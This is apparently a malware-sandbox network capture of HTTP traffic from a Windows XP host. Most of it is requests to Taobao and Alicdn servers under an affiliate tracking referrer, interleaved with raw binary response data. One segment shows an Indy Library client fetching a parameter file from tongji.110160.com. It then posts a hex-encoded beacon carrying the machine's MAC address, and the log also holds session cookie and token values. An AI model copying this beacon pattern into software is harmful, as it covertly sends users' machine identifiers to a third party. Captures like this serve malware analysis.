..............*.. 0.....R.............% ....Xf.O~zf.P -1.8.....K...V .
=.....0..
<<< skipped >>>

GET /tps/i3/T1SYFVFEhjXXaa3MZD-222-103.png HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1432632830_3k8_550233858

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gtd.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/png

Content-Length: 3480

Connection: keep-alive

Date: Thu, 06 Nov 2014 11:19:14 GMT

Last-Modified: Sun, 16 Mar 2014 03:43:26 GMT

Expires: Sun, 03 Nov 2024 11:19:14 GMT

Cache-Control: max-age=315360000

Access-Control-Allow-Origin: *

Via: cache7.l2de1[0,200-0,H], cache41.l2de1[1,0], cache12.uk1[0,200-0,H], cache11.uk1[0,0]

Age: 17360080

X-Cache: HIT TCP_MEM_HIT dirn:6:379008585

X-Swift-SaveTime: Mon, 11 May 2015 09:25:18 GMT

X-Swift-CacheTime: 299296436
.PNG........IHDR.......g.....o...... cHRM..z%..............u0...`..:..
..o._.F....bKGD..............pHYs.................vpAg.......g..Z=6...
.IDATx....l.......I..i.[...^...-Yn...q....6m......Q..*j.1n,..U..P..E.4
.|.:ic......N... ..JT...{.....R.....J....om..!.G.8...,...?.O../~......
......B|Qt."[email protected]:!......tB.lZ........B....$x...B.TW..\..
..w.....}....m.z. ./1d....f..q...,.d....7[.f{.q...<..I...Z........u
...U..\....1...Q6E&c.X......X.,...r93.<..=r..]._W}fBd M....b.|p.1.)
...N.HWR..d..S..hs..B\6s.c.Bs..O..e.....7.u.On..q.2.M.c7.....( 2i"...&
lt;!.......O..$xB( ..B.....H..P.Z>eL.L.SL...D..C?7..h.5......L.....
...%xYn..e.....0...p.....-.#.g.)=..jf...c...Kg.....A....{y.e.5....@V./
.....D.._.k.?....D....VY3...xp................3.......#.P[[......].fM.
.@ @CC......K8........">...FGGijj..tRVV...{.#.;v.`..%....O>.]w..
.2_7....t8eY\...^(...v..x.D"..n..v{R9..Joo/.7n..... W...p...~?ccc.={..
....\b.711AII..G..e..u...n.V /.."N....A.....l.9r...j..x..Y........y...
.<.i.7.....D..'o..|....=Oa...\...i..yxm|.t&.....mV..........v{.5...
.8q...Zl6............2<<..jUVVRSS...g.y.@ ..s].W....a..e....n...
b..v...Eaa!UUU.|>..0......Q]]..l.....V2QA..Q...../.U1}.......JW.-..
.g..;.g..6...s.....|..g..."..g...H_..fr.-W}z.).......3....Z.......... 
........b.......x<...x=....zf...JZ....\. v5..................[;..."
...R.......P.e.j...............S._G?.....q....'?........G 1x'?As.S}.YM
y....x...q:......tmmm.X...m..._....tww.F7.l6.....m.`t..}.......X..<
q.x7..BLL$O-[,[email protected])................k./[email protected]
<<< skipped >>>

GET /json/tg/juSkip.htm?callback=skipFn0&menuType=index HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1432632830_3k8_550233858

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: skip.ju.taobao.com

Connection: Keep-Alive

Cookie: miid=6216058077302220546; bid=9

HTTP/1.1 200 OK

Server: Tengine

Content-Type: text/html;charset=GBK

Transfer-Encoding: chunked

Connection: keep-alive

Date: Tue, 26 May 2015 09:33:52 GMT

Vary: Accept-Encoding

X-Bucket-Hash: jhs_b_A

At_Bucketid: jhs_ju_9

Server-Num: ju010179078043.s.et2

S: STATUS_NOT_EXISTED

Pragma: no-cache

Cache-Control: no-cache

Set-Cookie: v=0; Domain=.taobao.com; Path=/

Set-Cookie: cookie2=1c4d8f9018aee03724324a27920e3f42;Domain=.taobao.com;Path=/;HttpOnly

Set-Cookie: jc=shanghai; Domain=.ju.taobao.com; Expires=Fri, 23-May-2025 09:33:52 GMT; Path=/

Set-Cookie: t=d78120b38c239d92086394a246a73a12; Domain=.taobao.com; Expires=Mon, 24-Aug-2015 09:33:52 GMT; Path=/

Set-Cookie: _tb_token_=vZG8VnM7Ro; Domain=.taobao.com; Path=/

P3P: CP='CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR'

Content-Language: zh-CN

Expires: Thu, 01 Jan 1970 00:00:01 GMT

Via: wagbridge010181172150.s.et2[web], bcache1.es1[389,0]

Set-Cookie: bid=9; Domain=ju.taobao.com; Path=/; Expires=Wed, 12-Oct-2050 02:50:13 GMT

Content-Encoding: gzip
2f4...............k.A......#.BHvg7M......=H...2I..I...f6.J..=x...b..kl
c..ki.b.D...x..UpvK5.f....2.|.....7...._y....r".w.....4x.|.&....8..abb
.Vu..k0..DR...2.%..?...n.! ..X.2.|#a.<...X..e.......9EQ.f.g.yP....4
...$.1;-..n......"Z...# ....L0...M.........&.7.L...|.`^.@[email protected])&U.
...uu.5 A...Z..G.RZ-%`_.....V]..z...v..=#.51.92..Y...MI..q.!..@~.n.&!z
...'./P...nIPM.Jz.X..b...W.l......&.m.......y..k..=..Y............^...
I.[6\[email protected].<.......H....*..b]4.J#......h...Q......1.
.....gtoV.G.}.h[[email protected]_53.......B.3.i..jB.....|....(.sV.U~$IU...l|..:.*
/....#I..7q....n.\.!..........>....._........8..X...t.^_u....k{GS..
....K..KJ...i..8.Xv......*W........W..T....S.#..7w...>!V.qF=.{.....
.z.z&.(e..R.....b'.y.........4,.K.T..<q`R..^..y./..M=..jG.#........
;.u.....0..
<<< skipped >>>

GET /paramfile/main.txt HTTP/1.1

Host: tongji.110160.com

Accept: text/html, */*

Accept-Encoding: identity

User-Agent: Mozilla/5.0

HTTP/1.1 200 OK

Content-Length: 60

Content-Type: text/plain

Last-Modified: Fri, 08 May 2015 13:20:20 GMT

Accept-Ranges: bytes

ETag: "c01658bb9189d01:1012"

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Date: Tue, 26 May 2015 09:33:38 GMT
...1.0.0.1;......$pptv$.........$............$PPTV$...$pps;2HTTP/1.1 2
00 OK..Content-Length: 60..Content-Type: text/plain..Last-Modified: Fr
i, 08 May 2015 13:20:20 GMT..Accept-Ranges: bytes..ETag: "c01658bb9189
d01:1012"..Server: Microsoft-IIS/6.0..X-Powered-By: ASP.NET..Date: Tue
, 26 May 2015 09:33:38 GMT.....1.0.0.1;......$pptv$.........$.........
...$PPTV$...$pps;2..

POST /newcount.aspx HTTP/1.0

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 66

Host: tongji.110160.com

Accept: text/html, */*

Accept-Encoding: identity

User-Agent: Mozilla/3.0 (compatible; Indy Library)

content=333232393334313B30302D30432D32392D35432D39342D36343B313B30
HTTP/1.1 200 OK

Connection: keep-alive

Date: Tue, 26 May 2015 09:33:37 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

X-AspNet-Version: 2.0.50727

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 10
ok;1350084HTTP/1.1 200 OK..Connection: keep-alive..Date: Tue, 26 May 2
015 09:33:37 GMT..Server: Microsoft-IIS/6.0..X-Powered-By: ASP.NET..X-
AspNet-Version: 2.0.50727..Cache-Control: private..Content-Type: text/
html; charset=utf-8..Content-Length: 10..ok;1350084..

GET /t/font_1432191682_899724.eot? HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1432632830_3k8_550233858

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: at.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/octet-stream

Content-Length: 32212

Connection: keep-alive

Date: Thu, 21 May 2015 10:01:34 GMT

Accept-Ranges: bytes

Access-Control-Allow-Origin: *

Cache-Control: max-age=31557600